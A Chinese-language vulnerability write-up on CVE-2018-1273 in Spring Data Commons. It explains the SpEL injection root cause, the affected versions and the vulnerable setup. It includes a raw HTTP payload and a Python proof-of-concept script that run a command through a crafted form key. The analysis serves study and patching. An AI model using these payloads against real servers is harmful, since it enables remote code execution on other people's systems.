Spring-data-commons(CVE-2018-1273)漏洞分析

*## 前言

CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞，为了了解更多细节，本文将从漏洞的成因，漏洞的判定以及漏洞的利用三个方面来进行详细说明。

漏洞的成因
当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候，会将用户提交的form表单的key值作为Spel的执行内容，而这一步就是本次漏洞的爆发点。

漏洞的判定

确认目标项目中含有Spring-data-commons包并且版本范围如下
1
2
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
查看相关特性是否已经开启
1.@EnableSpringDataWebSupport 被显示声明

2.@EnableSpringDataWebSupport 没有显示声明，但采用了spring-boot框架的自动扫描特性
当采用Spring-boot的自动扫描特性的时候，在启动时会自动加载 SpringDataWebConfiguration类效果与上述相同

3.在非注解声明项目中，如果有如下声明，也视为开启了相关的特性
1
<bean class="org.springframework.data.web.config.SpringDataWebConfiguration" />

检查带@RequestMapping的接口，方法的参数为一个自定义的接口(Interface)

满足如上条件的靶子代码如下

@SpringBootApplication
public class App {

    public static void main(String[] args) {
        SpringApplication.run(App.class);
    }

    @Controller
    public class TestController {
        @RequestMapping("test")
        public void CVEController(TestForm testForm){
            System.out.println(testForm.getName());
        }
    }

    interface TestForm {
        String getName();
    }
}

漏洞的利用

根据上述判定出来的漏洞点，我们可以构造如下攻击代码

1.构建一个Http的Post请求
2.利用form表单提交的方式来提交我们的key value
3.在key的名称中包含此次攻击代码
4.提交的key为上文的 getName() 方法的 name
5.在name后面补上一段Spel支持的代码片段,key将变成如 name[T(java.lang.Runtime).getRuntime().exec(“calc”)]

最终playload如下

POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache

name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v

用python写的简单脚本如下

import http.client, urllib.parse

command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()

总而言之当满足漏洞条件时，只需要发送一个特定的key就可以了

Spring-data-commons漏洞被执行的流程

本次漏洞的成因，主要在于Spring在自动解析用户的参数的时候采用了 SpelExpressionParser 来解析propertyName

MapDataBinder.java 169行

Expression expression = PARSER.parseExpression(propertyName);

PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
TypeInformation<?> owningType = leafProperty.getOwningType();
TypeInformation<?> propertyType = owningType.getProperty(leafProperty.getSegment());

propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;

if (conversionRequired(value, propertyType.getType())) {

  PropertyDescriptor descriptor = BeanUtils
      .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
  MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
  TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);

  value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}

expression.setValue(context, value);

那么这个MapMapDataBinder是怎么被调用起来的呢，我们简要地说一下 SpringMVC在解析参数这个部分

SpringDataWebConfiguration 类的特性被启用的时候，会将 ProxyingHandlerMethodArgumentResolver 注册到容器中去
当SpringMVC得到一个请求的时候，会遍历容器中注册的 HandlerMethodArgumentResolver 调用他们的supportsParameter方法。
由于我们的参数是一个Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就会告诉调用方，它支持这个参数的解析
即 supportsParameter 会返回true,但在实际中还会有多个判断比如该接口不能是java包下的，也不能是org.springframework包下的
ProxyingHandlerMethodArgumentResolver在拿到参数的时候会创建一个MapDataBinder来解析参数
MapDataBinder.bind()方法，会连带进行doBind操作，最终会调用到 setPropertyValue 方法来，最后在 expression.setValue(context, value) 的时候触发了漏洞

关于Spring的Spel

SPEL全称Spring Expression Language,简要翻译就是Spring自带的表达式语言，如代码所示Spring提供以下特性

  public class SpelExample {

  public static void main(String[] args) {
      SpelExample spelExample=new SpelExample();
      spelExample.supportValue();
      spelExample.supportClassMethod();
      spelExample.supportProperty();
      spelExample.supportArray();
      spelExample.supportCustomIndex();
      spelExample.supportCustomProperty();
      spelExample.runPlayLoad();
  }
  /*
  * 支持一个值
  * */
  public void supportValue(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("'this is a value'");
      System.out.println(exp.getValue()); // this is a value

  }

  /*
      支持执行一个java类的方法
   */
  public void supportClassMethod(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("T(java.lang.Math).random() * 100.0");
      System.out.println(exp.getValue());//返回一个随机数
  }

  /*
  * 支持对目标对象进行赋值
  * */
  public void supportProperty(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("name='set my value'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.name); //set my value

  }

  /**
   * 如果属性是一个数组也支持
   * */
  public void supportArray(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //T(java.lang.Math.abs(0)) 会返回0
      Expression exp = parser.parseExpression("list[0]='list value'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.list[0]);//list value

  }

  /**
   * 数组的下标也是可以利用表达式求得
   * 注释:这里就是恶意代码能执行的关键
   * */
  public void supportCustomIndex(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(0)]='index is 0'");
      MockClass mockClass=new MockClass();
      exp.getValue(mockClass);
      System.out.println(mockClass.list[0]);//index is 0
  }

  /*
  * 也可以获取一个数组属性的指定下标的值
  * 这里就是上述漏洞利用的地方
  * */
  public void supportCustomProperty(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //获取目标对象list属性中下标为1的值
      Expression exp = parser.parseExpression("list[T(java.lang.Math).abs(1)]");
      MockClass mockClass=new MockClass();
      System.out.println(exp.getValue(mockClass));// 输出 1,
  }

  /**
   * 执行我们的代码，拉起计算器
   * */
  public void runPlayLoad(){
      SpelExpressionParser parser=new SpelExpressionParser(new SpelParserConfiguration(false, true));
      //获取目标对象list属性中下标为1的值
      Expression exp = parser.parseExpression("list[[T(java.lang.Runtime).getRuntime().exec(\"calc\")]]");
      MockClass mockClass=new MockClass();
      System.out.println(exp.getValue(mockClass));// 输出 1,
  }

  class MockClass{
      //只有声明为public才能被赋值
      public String name;
      public String[] list=new String[]{"0","1"};
  }
}

以上就是此次CVE-2018-1273的详细细节，希望对你有帮助

引用
CVE-2018-1273 RCE with Spring Data Commons 分析报告

Spring-data-commons(CVE-2018-1273)漏洞分析

漏洞的成因

漏洞的判定

漏洞的利用

Spring-data-commons漏洞被执行的流程

关于Spring的Spel

引用